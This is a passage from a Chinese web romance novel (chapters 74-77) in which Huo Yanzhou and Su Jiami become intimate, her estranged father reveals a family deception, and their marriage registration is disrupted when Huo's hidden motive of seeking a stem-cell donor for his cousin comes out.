霍砚舟不耐地看向苏嘉觅,“你愿意?这个时候,我觉得我们...” 苏嘉觅吻住了霍砚舟的唇角,她声音轻柔,“我想和你好,我想告诉你我喜欢你,我跟你可以。” 她的一句话就像燎原的火燃烬了霍砚舟的理智,升腾了压抑好久的欲望。 霍砚舟起身解开了纽扣,脱掉了衬衫,苏嘉觅不会弄的皮带扣也别他解了.... 他再次俯身亲吻苏嘉觅的时候带着虔诚与热爱,将身下的女儿化成了一滩绵柔的春水,而苏嘉觅却深刻地感受到霍砚舟融进了她的另一个世界。 庭院外的保镖见霍砚舟和苏嘉觅一上午都没出来,也不知道二人午餐什么要求。 其中一人去敲门,却听到嘤嘤如泣般低沉的呻吟声从里间传来,还有男人的沉闷磁性的喘息低吟。 保镖干咽了一口,逃似的走了。 黎骋回来的时候,边喝水边扇风,“热死我了,那个霍总呢?” 两个保镖眼观鼻,鼻观心,指了指远处庭院的门。 黎骋要去找霍砚舟汇报他的调查情况,就被保镖拉住,“黎特助,你别去,霍总忙着呢!” “忙什么?” 黎骋不解地看向保镖,又扫了一眼天上灼热的日头。 保镖轻咳一声,“那个...您走后,霍总和苏小姐就没出来了,午餐是送到门口的。” 另一个保镖竖起三根手指头,“一连三次,这会儿怕是两人刚睡下。” 黎骋手捏着矿泉水瓶,听此一用力,水柱从瓶中被挤了出来,喷了他一脸。 他回神,“知道了。这不需要你们保护,都撤了吧!” 黎骋意味深长地看了眼那扇门,他拿出手机打了电话,“呃,夫人,有件事跟您汇报一下,霍总和苏小姐在一起了,我说的是那方面...” “啊,对,之前没有吧,我不清楚,但这次是真的,”黎骋嘴角漾笑,“上午我们办理入住到现在,两人就没出来过。” “我觉得霍总应该没提前准备什么,您就等着抱孙子吧!” 黎骋觉得他本年度的奖金一定翻倍,就听乔映紫笑着说,“黎骋,你最近辛苦,我一会儿让肖赫给你打三十万,我私人奖励你二十万,剩下的十万给带去的保镖分了。” 黎骋被突如其来的奖金砸得眼冒金星,“谢谢夫人。” 房间内,苏嘉觅的脊背贴着霍砚舟的胸口,两人又出了一身汗。 她有气无力地看向床头的钟表,求饶,“阿舟,我错了,你时间长,特别行,好不好?” 再次登顶放空自己的霍砚舟餍足翻身躺下,他嘴角漾笑,到底明白了做男人的快乐到底是什么滋味。 苏嘉觅出了一层薄汗的脊背,因霍砚舟躺下,蒙上一层凉爽。 她倦倦地想睡,她好累,她心里骂霍砚舟记仇—— 因为初次,霍砚舟兴奋,没一会儿就完事儿了。 虽然疼得不舒服的苏嘉觅还是打了嘴炮,“砚舟,你是不是真不行啊?” 结果,为了证明自己很行,食髓知味的霍砚舟开始一场又一场的男女征途。 苏嘉觅撩了一下头发丝,“别来了,我睡一下,然后去买避孕药。” 两人没做防护措施,在一起是感情升华,也是临时起意。 霍砚舟贴过来抱住她,“觅觅,我们不避孕,回去我们就领证,怀上了就生下来。” 苏嘉觅诧异,她转身看向霍砚舟,“我们相处时间不到一年,只几个月。” 霍砚舟捏着她的手指亲了亲她的指尖,“婚后,我们有一辈子可相处,遇到对的你,在对的时间,一切就是对的。” 他倦倦地在她耳边说,“我睡一会儿,一会儿再来一次,我换一下方式。” 苏嘉觅顿觉两眼一黑,沉沉睡去,她不睡,怕一会儿没精力应付他。 第三天,黎骋照旧领着保镖在小镇转悠。 其中一人不解,“黎特助,我们到底来干什么来了?” 黎骋哑然,心想我们是来办正事儿的,可谁成想他boss霍砚舟是来办事儿的。 另一个保镖点头复议,“今天第三天了,霍总和苏小姐都快三天没出屋了。啧,苏小姐那小身板经得起霍总这么折腾吗?” 黎骋忍笑,“都别说了。霍总是为了霍家的百年大计,你们有奖金拿,管老板什么时候出关?” 众人一想确实是这么道理。 霍家家大业大,那么多产业,可不是急需生个小少爷吗? 卧房内,苏嘉觅踹了霍砚舟好几脚,“你想让我死这就直说,犯不着这么黏着我!” 霍砚舟支着头看着苏嘉觅笑,“明天,我带你去找孙建和徐兰算账!” 第75章 父女相见不相认 苏嘉觅算是知道一个素久后开荤男人的真实嘴脸了。 她幽愤的小脸全是愤懑,她瞪霍砚舟,“之前不是传你不行吗?你怎么都不站出来反驳?” 霍砚舟看到苏嘉觅那幽愤不甘还带着欲色退潮的红晕,他忍着笑,“实践出真知,谣言不攻自破。” 他贴了过去,“再说了,这么私密的事情,你知道我行就好了。” 话音落,霍砚舟亲了一下苏嘉觅的脊背,“你幸福,你与我结婚生子,就是最好的证明啊!” 狗男人! 苏嘉觅骂骂咧咧,她唉声,“丢死人了,三天没出去,我以后还有脸面对黎铮他们吗?” 霍砚舟的手不老实地在苏嘉觅的腿上揉捏,他轻笑,“你以后是霍家的少夫人,他不敢笑你。” 苏嘉觅觉得她现在的脸皮薄厚都不能抹去她丢人与否的事实,她一副死猪不怕开水烫的气势,打掉了霍砚舟手。 “这两天你都别想碰我,睡觉!” 霍砚舟闷笑出声,他也“从善如流”地闭上眼睛,“睡吧,我其实也挺累的!” 话音落,男人低低的笑声在苏嘉觅的脊背后响起,她脸颊荡漾着红晕,散不开,很浓烈。 夜里,霍砚舟与苏嘉觅在庭院里吃晚餐。 黎骋等人都离得远远的,因为霍砚舟怕苏嘉觅尴尬,让他们别过来碍两人的眼。 不多时,黎骋硬着头皮过来,“霍总,外边有一个自称苏彦允的中年男人来找苏小姐。” 也姓苏? 一个中年男人? 苏嘉觅心里有了猜测,她看向霍砚舟。 霍砚舟拍了拍她的手,“别怕,我陪你见他。” 男人被黎骋引了进来,霍砚舟一瞧这男人,神情顿住了。 苏嘉觅也觉得眼熟,她起身,“我们是不是在哪见过?” 霍砚舟知道,苏嘉觅在餐厅见过,他见过这男人两次,一次在医院,一次在餐厅。 苏彦允勾唇笑,“嘉觅,我是你爸爸。” 什么? 眼前的男人是苏嘉觅的爸爸,那苏嘉觅岂不是与霍云杳是亲姐妹?阮倾就是苏嘉觅要找的母亲? 想到这一层,霍砚舟捏紧了手。 苏彦允瞪了霍砚舟一眼,“霍先生,和我女儿苏嘉觅是什么关系?” 霍砚舟揽着苏嘉觅的肩膀,“我们是男女朋友关系,而且马上就要领证了。” 苏彦允不喜欢霍家人,可他此刻尚未与苏嘉觅相认,他若是在这个时候急吼吼地阻止两人在一起会适得其反。 他只点点头,转头看向苏嘉觅。 “觅觅,我是爸爸,我找了你很多年。” 苏嘉觅很想避而不见,却不能够,她招呼苏彦允过来坐,“坐下说吧!” 霍砚舟内心很惊惶。 他心中不安,但还是坐了下来。 苏彦允很激动,眼眶泛红,他说了自己这几年找苏嘉觅的艰辛。 苏嘉觅隐隐动容,眼泪也在眼中打转。 “既然是这样,那你找过我妈吗?” 苏彦允看向霍砚舟,“难道觅觅不知道她妈妈是你二婶阮怜玉吗?” 霍砚舟眉宇紧皱。 “苏先生,我不清楚你和我二婶还有一个女儿,我以为只有霍云杳一个,二婶从未提过,而且她叫阮倾,不叫阮怜玉。” “打住,霍云杳不是我的女儿,是阮怜玉和她初恋生的!” 苏彦允沉声道,“你二叔和你二婶合谋把我送进监狱,让我和觅觅分隔多年,而她却抛弃了我的女儿,这种人她就是换了个名字,也是渣滓!” 信息量太大,苏嘉觅被震得缓不过神来,连同一起缓不过来的还有霍砚舟。 苏彦允看向两人的吃惊的表情才相信霍砚舟和苏嘉觅一样对此不知情,而苏嘉觅也没有因为与霍砚舟相熟而与阮倾相认。 他喝了茶,“你们怎么会知道呢?那是阮怜玉的亏心事,她这辈子都不想提及,她怕遭报应。” 苏嘉觅身体隐隐发抖,霍砚舟揽紧了她,“我们听听他怎么说。” 苏彦允说了他和阮倾是如何相识到结婚的,彼时,她还叫阮怜玉。 因为阮怜玉与初恋得不到家里的认可还珠胎暗结才选择与苏彦允在一起,而且在一起的手段不光彩,是给苏彦允下药才成事。 “那个时候,她生完孩子半年,没想到就一次,她就怀上了觅觅,我没办法只好娶了她。本以为做不到相爱至少可以相敬如宾地过日子,可她...” 苏彦允按了按眉心,手攥得紧紧的,“可她不是一个安分的女人,在被霍敬光看上后,她和霍启光联手把我送进了监狱。等我再出来,听说她带着大女儿改嫁给了有钱人!” 听到这,苏嘉觅眼泪流了下来,“所以,阮怜玉一直都不喜欢我,从一开始就想好了抛弃我?” “是的,她所做的一切都是故意为之!” 苏彦允觉得事实对苏嘉觅很残忍,但他不能隐瞒也没办法隐瞒过往的一切。 苏嘉觅没办法否认自己的存在从一开始就不被两人期待。 她的妈妈是为了找一个可以结婚接受女儿的男人才怀上她,而她的爸爸是被迫接受一个带孩子的女人怀上了她才不得不担起责任,结婚成家。 苏嘉觅揩了一下眼角的泪,“我知道了苏先生,其实我们这种情况下,没必要相认也没必要做DNA检测认亲。” 霍砚舟攥紧了苏嘉觅的手,“觅觅...” 苏嘉觅冲他点点头,“帮我送苏先生出去吧!” 说完,她在苏彦允不甘心和失望无主的注视下回了房间。 霍砚舟起身,“苏先生,觅觅不想接受你,但我想跟你聊聊。” 苏彦允颓然地起身,他嗤笑,“为什么我的女儿又要选择霍家人,而不愿意认我?” 这句话满是对霍砚舟的嫌弃。 两人一前一后出了门,霍砚舟才开口,“苏先生,我知道你因为我二叔和二婶的事情,对我们霍家有偏见,可我们大房和二房不一样。” 苏彦允了解过霍家,他没办法否认霍砚舟的这句话。 因为霍家大房确实都很有出息,而且霍敬启和乔映紫夫妻恩爱,育有两女一子,是模范夫妻。 他摆摆手,“好,是我狭隘了。只是霍总,我至今独身,没有其他子女,我想找回嘉觅的心是真的。” “我会帮你劝她,”霍砚舟抬眸看向苏彦允,“但你要把当年我二叔和阮怜玉也就是阮倾害你的事情全部告诉我。” 苏彦允颔首,说了事情的详细经过,而黎骋全程录音。 霍砚舟抽出一支烟,点燃深吸,“呵,我二叔真做得出来。您不是不给霍云杳配型,是因为她跟你没有血缘关系而已。” 苏彦允颔首,“对,而且我跟着孩子也没感情,她一出生就在她外婆家养着。” 霍砚舟掐着烟的手顿住,“什么?” 苏彦允颔首,“据我了解,阮怜玉抛弃嘉觅前才把霍云杳接回来,而她之所以搭上霍敬光是因为她救了你们霍家的一位小少爷。” 他气闷,“没想到,救了一个孩子,我被陷害,女儿被送到外婆家又丢了。可见阮怜玉势力自私。” 霍砚舟觉得头皮发麻,脑中回想起苏嘉觅说的话——我小时候走丢过,后来又回到了家。 他嗫嚅片刻,“阮倾救的孩子就是我。” 苏彦允觉得一切都是机缘,“这么说我被陷害前出差的那段时间呆在我家里的男孩是你?你与觅觅被拐解救后相处了一段时间,对吗?” 第76章 他求婚成功,他认爱! 霍砚舟颔首。 到此,他才知道小时候与他走过那几天黑暗日子,给他奶都吃哄他开心的人不是霍云杳而是苏嘉觅。 他悲愤见黑色的眼眸笼上一层水雾,“我认错人了,我把觅觅错认成了霍云杳,我还未阮倾入霍家门说了不少好话。” 苏彦允不信,“你那时候多大了?” 霍砚舟沉声,“七岁!” “霍总,你七岁不认人吗?” 苏彦允对此并不相信。 霍砚舟懊恼不已。 “我二叔是个做事情谨慎,按你所说的时间线,他接走阮倾后并没有将人带回家,而是养在外边。我清楚地记得我十一岁那年,我二叔才把阮倾带回家,那时候阮倾已经怀了小五。” 他抿唇道,“而霍云杳的鼻尖也有一颗黑痣,我以为那就是觅觅,不然不会认错人。” 苏彦允摇头,“我觉得我们都被阮怜玉和霍云杳母女给骗了,霍云杳小时候我见过,她的鼻尖上根本没有黑痣,只有觅觅从生下来就有一颗美人痣在鼻尖上!” 霍砚舟攥紧了手,他微微颔首,“医美做痣。” 为了能进霍家,笼络住霍砚舟这个长房长孙,阮倾和霍云杳真是大费周章。 苏彦允拍了拍霍砚舟的肩膀,“阮怜钰和霍云杳现在是你们霍家的人,怎么处置是你们的家事。” “听了你的话,我觉得你跟你二叔不同,”苏彦允看向苏嘉觅所在的房间,“你好好对她,我改天再来。” 苏彦允走后,霍砚舟坐在外边,听黎骋汇报苏嘉觅养父母徐兰和孙建的事情,听完汇报,霍砚舟摆了摆手,“这样的人,没必要让觅觅见,晚上我跟你去会会他们。” 房间内,苏嘉觅躺在床上,脑中将苏彦允这人从出现到他所说的那些话都过了一遍,心情很糟糕,一种压抑到无处宣泄的难过在她胸腔徘徊。 忽而,一只大手握住她的肩膀将她拉入温热的怀中。 苏嘉觅,“我没事儿,你不用过来哄我!” 霍砚舟亲了亲她的额头,“觅觅,我真不知道你要找的母亲会是我二婶阮倾。” 苏嘉觅知道这件事怪不到霍砚舟的头上,她抱紧了他,“嗯,我明白!” 霍砚舟做了两个深呼吸。 “还有一件事,我想跟你说明白。当年,我被拐,解救后,有一个小女孩的妈妈把我带回她的家里,我当时很依赖那个小姑娘,因为我们俩一起躲在黑暗里,那个女孩的妈妈就是我二婶阮倾,而那个小女孩不是霍云杳,而是你!” 苏嘉觅怔然,她想起小时候自己走失后确实跟一个小哥哥一起回了家,那个小哥哥还在他家里住了一段时间,直到她被送到外婆家,她就再也没回过家也不知道那个小哥哥是否回到了自己家。 霍砚舟随后剖白了自己在阮倾嫁到霍家时,他确实是给阮倾说了不少好话,基于当时的恩情。 他又讲了事情的详细始末。 “我对霍云杳好,也是因为我把她错认成了你。” 霍砚舟紧紧地抱住苏嘉觅,“觅觅,你不怪我傻吧,竟然被霍云杳和阮倾骗了这么多年。” 苏嘉觅没办法怪霍砚舟,他当时还是个孩子,他怎么能看破一个有心机女人的谋划与算计? 霍砚舟抱着苏嘉觅剖白了他对霍云杳和阮倾照顾的原因。 “我不怪你,你我那时都是孩子,捉摸不透大人的龌龊心思,”苏嘉觅捏着霍砚舟的纽扣,“砚舟,你还有没有其他事情瞒着我?” “毕竟,你和霍云杳不是亲兄妹,没有血缘关系,”苏嘉觅隐隐说出了自己的猜测,“霍云杳算是我同母异父的姐姐,可她不知这层关系,基于她见我时的表现,我感觉她对你有情。” 霍砚舟闭了闭眼睛,承认了,“是,但我不喜欢她,我喜欢你。” 苏嘉觅一天之内接受了太多的信息,让她觉得很累。 霍砚舟弯腰将人抱到了床上,“你好好睡一觉,我去处理你养父母。你不想见的人,不想认的亲,我都能帮你处理好。” 苏嘉觅心累多眠,她看着霍砚舟领着黎骋走了。 徐兰和孙建看到领着助理,带着保镖来到他们家的霍砚舟,眼睛都不敢多眨一下,他们更没想到苏嘉觅与陆北分手竟然会找到更加优秀、帅气的男人。 霍砚舟翘着二郎腿坐在两人对面,他手夹着烟,语气淡淡的,“孙建,你对觅觅做过什么腌臜事你自己心里清楚!” 他示意黎骋递上支票,“这是觅觅的意思,感激你们对她的收养之恩。但是,你们要跟我签一份断亲协议,从今以后,苏嘉觅跟你们没有任何关系。” 霍砚舟手里转着打火机,“二位若是感兴趣可以到网上搜搜我的名字——霍砚舟,你们就会知道不守约的代价能有多大。” 徐兰和孙建不敢不签字。况且,这笔钱足够他们能活得更好。 签字后,黎骋收起协议,他勾唇,“二位最好做到。不然,顶级律师团会把孙先生送进去,也会让舆论让你们没有容身之地。” 霍砚舟起身,扣上西服纽扣。 他轻笑,“若是不信,你们可以试试。” 霍砚舟从徐兰家出来,回身看向苏嘉觅曾经的“家”,满目疮痍的感觉。 第二天,霍砚舟带着苏嘉觅返回京城,她不想再联系养父母和苏言允。 半个月后,霍砚舟在京城双子塔买了广告屏,向苏嘉觅求婚,全城官宣。 求婚现场,无人机编出了动人的情话也放了烟花。 霍砚舟单膝跪地,捧着蓝钻石戒指套在苏嘉觅的手上,“觅觅,嫁给我吧,我想给你一个完整的家。” 苏嘉觅没想到霍砚舟会突然求婚,但她不得不承认,她喜欢霍砚舟,愿意嫁给她。 她伸出手,霍砚舟将戒指套在了她的手上。 在一旁泪流满面的许瑶笑着问,“傅秘书,你什么时候考虑下做我男朋友?” 傅珩的企划还没完全走完,还有不完美的闭环。 他没吭声。 夜里,霍砚舟高歌凯旋地将苏嘉觅带回了庄园别墅。 汪阿姨给霍砚舟熬了醒酒汤,她笑着说,“苏小姐之前的房间已经恢复原样了。” 霍砚舟揽着苏嘉觅,笑着对汪阿姨说,“汪阿姨,以后要叫觅觅为太太,我俩明天去领证。再有,她跟我睡主卧。” 苏嘉觅不好意思过来捂霍砚舟的嘴,可男人已经抱起了苏嘉觅直奔楼上。 汪阿姨捂着嘴偷笑,忙问,“先生,醒酒汤您不喝吗?” “我只喝了香槟,戒烟戒酒,我要备孕了!” 霍砚舟勾唇亲了一下捶他后背的苏嘉觅,“害羞了?我说了我要给你一个完整的家,一个子孙昌盛的家。” 看着积极造人的两人,汪阿姨识趣地走了。 另一边,许瑶下车前,扯住傅珩的领带,送上柔唇强吻了傅珩。 傅珩顿了顿便开始迎合她的吻,两人的呼吸都渐渐浓重。 许久,他才放开许瑶,“许总,你是不是喜欢我?” “傅珩,你是不是傻,我骨折的这段时间天天黏着你,因为我在追求你。” 许瑶的小脸红扑扑的。 傅珩亲了亲她的耳廓,“我同意了,女朋友!” 第77章 领证结婚 两人又腻歪了一会儿,傅珩才抱许瑶下车。 因为许瑶的腿伤还没好,这段时间,傅珩都是她的人肉轮椅,带着她去任何她想去的地方。 “哎,傅珩,等一下,信箱里有信!” 许瑶的话,让傅珩看向了那半透明的邮箱,他抱着许瑶过去,许瑶拿出信,竟然有档案袋那么大,厚厚的。 她咬唇,“谁寄给我的。” 这时,许璴推门出来,“瑶瑶,你想累死傅秘书啊,赶紧让人进去。” 傅珩勾唇,将许瑶抱回卧室,又亲了亲她才恋恋不舍地走,“我明天来接你去公司。” 许瑶颔首。 傅珩扫了一眼那封厚厚的信,起身离开。 开车从许家走的时候,傅珩嘴角漾着笑,因为公司里的雷都拆了,他可以慢慢把自己的“暗恋”透露给许瑶了。 许家,许瑶拆开了快件,里面竟然分装了两个大信封。 其中一个写着,许瑶亲启。 她坐在床上将匿名资料看了一遍,脸上的笑容渐渐消失,她眼中满是泪。 原来,傅珩是律政界的翘楚,他接近她是为了给被霸凌致死的初恋报仇,他现在突然对她好,是因为愧疚。 因为,傅珩认错人了,她不是那个霸凌他人的许瑶。 许瑶看向了另一个信封,封面上写着请转给苏嘉觅。 翌日,昨晚只要了苏嘉觅一次的霍砚舟打扮的得体庄重,苏嘉觅也穿了着白色的法式裙子。 苏嘉觅要与霍砚舟去领证了。 在民政局拿号等着两人的黎骋,实时直播给霍家长辈,乔映紫等人都拿着手机看自家儿子,孙子的结婚领证。 两人来的时候,乔映紫带头给黎骋打赏,说他会办事。 苏嘉觅没想到自己为了求财才找上门的金主竟然真的成了她的丈夫,而且在短短的时间里,他对她用情至深,她爱他不能自拔。 看着认真填表的霍砚舟,苏嘉觅心都是满的。 霍砚舟忍着手抖,写好了表格又拿过苏嘉觅写的表格,一并递给了工作人员。 “咔哒”两声,两个红本本盖了章。 霍砚舟接过结婚证,他笑着说,“觅觅,我是你的合法丈夫,持证上岗。” 苏嘉觅看着霍砚舟笑得无邪的样子,她无奈摇头,“怎么还跟个孩子一样?” 霍砚舟轻咳两声,一本正经的模样。 “苏秘书,余生,请多多指教!” 苏嘉觅揽住霍砚舟的肩膀,“好说、好说!” 这时,就见许璴带着许瑶赶了过来。 许瑶因为骨折,她人坐在车里。 她忙问,“觅觅,你跟霍砚舟领证了?” 很唐突的一句话,让霍砚舟莫名心慌,因为他就在这,许瑶这么说话显然是没礼貌,无教养的表现,可她却堂而皇之的说出口了。 那究其原因,就是许瑶知道了真相。 苏嘉觅笑着问,“你是来给我庆祝的?” 许瑶揩了一下眼泪,摇头,“不是!” 许璴下车后,他白了霍砚舟一眼,因为他知道一个道理——人以类聚,物以群分。 既然在江海两城,傅珩是赫赫有名的律师,那么身为江城首富之家的长孙,霍砚舟岂能不认识傅珩? 霍砚舟在许璴和许瑶两兄妹眼中看到了满满的轻蔑与痛惜,而那痛惜是给苏嘉觅的。 苏嘉觅也觉得两人怪怪的。 许瑶坐在车里冲苏嘉觅招手,“觅觅,我有东西给你看。” 霍砚舟的心都到了嗓子眼,他紧紧地攥着苏嘉觅的手,“觅觅,别去,我可以解释的。” 许璴推开霍砚舟,冷嗤,“你觉得你还能瞒多久?” 苏嘉觅诧异,“我怎么听不懂你们在说什么?” “觅觅,霍砚舟骗了你,傅珩骗了许瑶,”许璴眸中尽是冷色,“傅珩是恒瑞律所的创始合伙人,身家百亿,他来许瑶这,是为了报复许瑶。” “至于霍砚舟来接近你,是为了他堂妹霍云杳。” 许璴沉声,“他想让你给霍云杳捐赠干细胞救命。” 真相从外人嘴里得知,总是格外残忍! 霍砚舟过去抓苏嘉觅的手。 恍然的苏嘉觅轻轻地避开,她抬眼看向霍砚舟,“别拉我,我现在有点乱,你们让我缓缓。” 说完,她坐进了车里。 许瑶递给她一个档案袋,“觅觅,你看看吧,看完,你就都知道了!” 许璴要去开车。 霍砚舟不让人走,他拍着被锁了的后车门,“觅觅,你听我说,我是要跟你坦白的,你听我跟你解释,我是爱你的,真的!” 苏嘉觅在看到资料后,最近才建立起来的安全感再次崩塌,她看了眼眼眶泛红的霍砚舟,她的眼泪无声地滑下,狠狠地砸在了霍砚舟的心上。 许璴不耐烦,他下车扯开霍砚舟,一拳砸在了霍砚舟的脸上,“滚,渣男,骗子!” 黎骋等人给民政局的工作人员发完喜糖,他领着保镖笑着出来就看到这一幕,赶紧赶了过来。 许璴却已经载着苏嘉觅和许瑶离开! 看着扬长而去的车,霍砚舟眼泪绷不住地落下,“觅觅,...” 黎骋没关直播视频,这一幕也落在了乔映紫和霍敬启、霍家老爷子眼中,他们在电话那端纷纷询问,“这是怎么了?觅觅呢?” “砚舟,你们俩吵架了?” 霍砚舟攥紧了拳头,满眼尽是阴鸷,“霍云杳,是霍云杳这个贱人!” 车内,苏嘉觅将资料看完了。 许瑶揽着她的肩膀,“你还好吧?” 苏嘉觅做了两个深呼吸,“呵,到头来,折腾了一圈,我还是没人疼没人爱。” 许璴听到这话,心里难受,“不是的,觅觅,你还有我,我一直在等你的。” “哥,你现在说这些合适吗?” 许瑶抱紧了苏嘉觅,“觅觅,你接下来什么打算?” 苏嘉觅心里很乱,她咬着嘴唇,“我想冷静一下。” 许璴回身看着两个被男人欺骗的女孩,他叹了口气,“许瑶也要疗伤,情伤,腿伤。觅觅,你跟她一起去雪城避暑吧!” 他沉声,“正好都冷静一下。” “你走了,公司怎么办?” 苏嘉觅含着眼泪看向许瑶。 许瑶勾出一抹寒凉的苦笑,“我把公司关了,等再回来,我就回家里的公司做事。我自己关,总比被傅珩害进监狱被迫关门好。” 苏嘉觅茫然地看向许瑶,“这和傅珩也有关系?” 许瑶点头,“嗯,说来话长。难为声名赫赫的傅大律师为了替初恋报仇窝在我的小公司里这么久。” 苏嘉觅仰靠在后座椅上,语气悲凉,“呵,男人啊!” 她缓声,“傅珩是为了初恋,霍砚舟则是为了我同母异父的姐姐霍云杳,真是太可笑了!” 许璴和许瑶看向苏嘉觅,她望着外边路过的街景,泪流满面。